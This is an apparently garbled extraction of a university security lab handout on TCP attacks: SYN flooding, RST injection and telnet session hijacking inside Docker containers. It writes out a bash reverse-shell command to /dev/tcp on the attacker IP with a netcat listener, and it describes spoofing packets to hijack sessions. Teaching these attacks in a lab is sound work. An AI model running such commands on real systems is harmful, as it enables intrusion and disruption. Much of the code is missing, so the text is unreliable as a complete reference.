And use the docker-compose file set the lab environment
Readings and videos. Detailed coverage of the TCP attacks can be found in the following:
• Chapter 16 of the SEED Book, Computer & Internet Security: A Hands-on Approach, 2nd Edition, by Wenliang Du. See details at https://www.handsonsecurity.net.
2 |
---|
Attacker | Host A | Host B | Host C |
---|---|---|---|
10.9.0.1 | 10.9.0.5 | 10.9.0.6 | 10.9.0.7 |
Figure 1: Lab environment setup
2.1 Container Setup and Commands
|
|
All the containers will be running in the background. To run commands on a container, we often need to get a shell on that container. We first need to use the "docker ps" command to find out the ID of the container, and then use "docker exec" to start a shell on that container. We have created aliases for them in the .bashrc file.
|
---|
3 |
---|
If you encounter problems when setting up the lab environment, please read the “Common Problems”section of the manual for potential solutions.
2.2 About the Attacker Container
volumes: |
---|
network_mode: host |
---|
When a container is in the host mode, it sees all the host’s network interfaces, and it even has the same IP addresses as the host. Basically, it is put in the same network namespace as the host VM. However, the container is still a separate machine, because its other namespaces are still different from the host.
2.3 The seed Account
IPs
(a) TCP 3-way Handshake (b) SYN Flooding Attack
The size of the queue has a system-wide setting. In Ubuntu OSes, we can check the setting using the following command. The OS sets this value based on the amount of the memory the system has: the more memory the machine has, the larger this value will be.
# sysctl net.ipv4.tcp_max_syn_backlog |
---|
# sysctl -a | grep syncookies |
---|
# sysctl -w net.ipv4.tcp_syncookies=1 |
---|
5 | ||
---|---|---|
|
We provide a Python program called synflood.py, but we have intentionally left out some essential data in the code. This code sends out spoofed TCP SYN packets, with randomly generated source IP address, source port, and sequence number. Students should finish the code and then use it to launch the attack on the target machine:
|
|
||
Let the attack run for at least one minute, then try to telnet into the victim machine, and see whether you can succeed. Very likely that your attack will fail. Multiple issues can contribute to the failure of the attack. They are listed in the following with guidelines on how to address them.
• TCP cache issue: See Note A below.
• The size of the queue: How many half-open connections can be stored in the queue can affect the success rate of the attack. The size of the queue be adjusted using the following command:
|
6 |
---|
This is due to a mitigation of the kernel: TCP reserves one fourth of the backlog queue for “proven destinations” if SYN Cookies are disabled. After making a TCP connection from 10.9.0.6 to the server 10.9.0.5, we can see that the IP address 10.9.0.6 is remembered (cached) by the server, so they will be using the reserved slots when connections come from them, and will thus not be affected by the SYN flooding attack. To remove the effect of this mitigation method, we can run the "ip tcp metrics flush" command on the server.
|
---|
RST packets cause the victim to remove the data from the half-open connection queue. Therefore, while we are trying fill up this queue with the attack, VirtualBox helps the victim to remove our records from the queue. It becomes a competition between our code and the VirtualBox.
3.2 Task 1.2: Launch the Attack Using C
7 |
---|
|
---|
The TCP RST Attack can terminate an established TCP connection between two victims. For example, if there is an established telnet connection (TCP) between two users A and B, attackers can spoof a RST packet from A to B, breaking this existing connection. To succeed in this attack, attackers need to correctly construct the TCP RST packet.
In this task, you need to launch a TCP RST attack from the VM to break an existing telnet connection between A and B, which are containers. To simplify the lab, we assume that the attacker and the victim are on the same LAN, i.e., the attacker can observe the TCP traffic between A and B.
|
---|
the attack automatically using the sniffing-and-spoofing technique. Unlike the manual approach, we get all |
the parameters from sniffed packets, so the entire attack is automated. Please make sure that when you use Scapy’s sniff function, don’t forget to set the iface argument.
5 Task 3: TCP Session Hijacking
Figure 3: TCP Session Hijacking Attack
victims to execute the malicious commands. Figure 3 depicts how the attack works. In this task, you need to demonstrate how you can hijack a telnet session between two computers. Your goal is to get the telnet server to run a malicious command from you. For the simplicity of the task, we assume that the attacker and the victim are on the same LAN.
#!/usr/bin/env python3 |
---|
|
---|
|
|
the attack automatically using the sniffing-and-spoofing technique. Unlike the manual approach, we get all |
the parameters from sniffed packets, so the entire attack is automated. Please make sure that when you use Scapy’s sniff function, don’t forget to set the iface argument.
In the following, we will show how we can set up a reverse shell if we can directly run a command on the victim machine (i.e. the server machine). In the TCP session hijacking attack, attackers cannot directly run a command on the victim machine, so their jobs is to run a reverse-shell command through the session hijacking attack. In this task, students need to demonstrate that they can achieve this goal.
To have a bash shell on a remote machine connect back to the attacker’s machine, the attacker needs a process waiting for some connection on a given port. In this example, we will use netcat. This program allows us to specify a port number and can listen for a connection on that port. In the following demo, we show two windows, each one is from a different machine. The top window is the attack machine 10.9.0.1, which runs netcat (nc for short), listening on port 9090. The bottom window is the victim machine 10.9.0.5, and we type the reverse shell command. As soon as the reverse shell gets executed, the top window indicates that we get a shell. This is a reverse shell, i.e., it runs on 10.9.0.5.
| Connection received on 10.9.0.5 49382 |
| $ <--+ This shell runs on 10.9.0.5 |
|$ /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 |
| |
• "0<&1": File descriptor 0 represents the standard input (stdin). This causes the stdin for the shell to be obtained from the tcp connection.
• "2>&1": File descriptor 2 represents standard error stderr. This causes the error output to be redirected to the tcp connection.
10 |
---|
7 Submission
You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.